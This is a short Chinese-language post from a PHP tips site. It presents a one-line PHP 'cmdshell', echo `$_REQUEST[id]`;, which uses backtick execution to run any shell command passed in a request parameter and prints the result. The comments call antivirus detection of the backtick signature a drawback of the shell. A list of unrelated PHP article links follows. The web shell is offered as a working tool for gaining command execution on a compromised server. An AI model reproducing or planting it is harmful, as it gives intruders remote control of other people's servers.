php一句話cmdshell新型 (非一句話木馬)
更新時(shí)間：2009年04月18日 12:04:17 作者：
php運(yùn)行時(shí)如果遇見字符``(鍵盤上~符號(hào)的下檔鍵)總會(huì)嘗試著執(zhí)行``里面包含的命令，并返回命令執(zhí)行的結(jié)果(string類型)；
復(fù)制代碼 代碼如下:
<?php
/*一個(gè)新型的php一句話cmdshell(非一句話木馬)
//原理:php運(yùn)行時(shí)如果遇見字符``(鍵盤上~符號(hào)的下檔鍵)總會(huì)嘗試著執(zhí)行``里面包含的命令，并返回命令執(zhí)行的結(jié)果(string類型)；
//局限性:特征碼比較明顯，``符號(hào)在php中很少用到，殺毒軟件很容易以此為特征碼掃描到并警報(bào)；``里面不能執(zhí)行php代碼；
//write by skyfire
*/
echo `$_REQUEST[id]`;
?>
相關(guān)文章
本篇文章是對(duì)php中過濾html字符串,防止SQL注入的方法進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-07-07
PHP中的隨機(jī)性，你覺得自己幸運(yùn)嗎？2016-01-01
php返回文件擴(kuò)展名的函數(shù) 格式化變量php重定向網(wǎng)頁等2008-09-09
Laravel的下載以及使用composer來安裝debugbar擴(kuò)展包圖文教程
這篇文章主要介紹了Laravel的下載以及使用composer來安裝debugbar擴(kuò)展包圖文教程，圖文講解的比較清晰，有不太會(huì)的同學(xué)可以研究下2021-01-01
PHP的反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)操作示例
這篇文章主要介紹了PHP的反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)操作,結(jié)合實(shí)例形式分析了PHP反射的功能、原理及基于反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)相關(guān)操作技巧,需要的朋友可以參考下2020-03-03
PHP面向?qū)ο蟪绦蛟O(shè)計(jì)重載（overloading）操作詳解
這篇文章主要介紹了PHP面向?qū)ο蟪绦蛟O(shè)計(jì)重載（overloading）操作,結(jié)合實(shí)例形式詳細(xì)分析了php面向?qū)ο蟪绦蛟O(shè)計(jì)重載原理、實(shí)現(xiàn)方法及相關(guān)操作技巧,需要的朋友可以參考下2019-06-06
PHP實(shí)現(xiàn)獲取毫秒時(shí)間戳的方法【使用microtime()函數(shù)】
這篇文章主要介紹了PHP實(shí)現(xiàn)獲取毫秒時(shí)間戳的方法,結(jié)合實(shí)例形式分析了php使用microtime()函數(shù)獲取、轉(zhuǎn)換毫秒級(jí)時(shí)間戳的相關(guān)操作技巧,需要的朋友可以參考下2019-03-03
這篇文章主要介紹了php異常處理方法,實(shí)例匯總了常見的php異常處理技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2015-06-06
使用php自動(dòng)備份數(shù)據(jù)庫表的實(shí)現(xiàn)方法
下面小編就為大家?guī)硪黄褂胮hp自動(dòng)備份數(shù)據(jù)庫表的實(shí)現(xiàn)方法。小編覺得挺不錯(cuò)的，現(xiàn)在就分享給大家，也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-07-07
PHP的Yii框架中YiiBase入口類的擴(kuò)展寫法示例
這篇文章主要介紹了PHP的Yii框架中YiiBase入口類的擴(kuò)展寫法示例,同時(shí)詳細(xì)講解了import和autoload這兩個(gè)YiiBase中的重要方法,需要的朋友可以參考下2016-03-03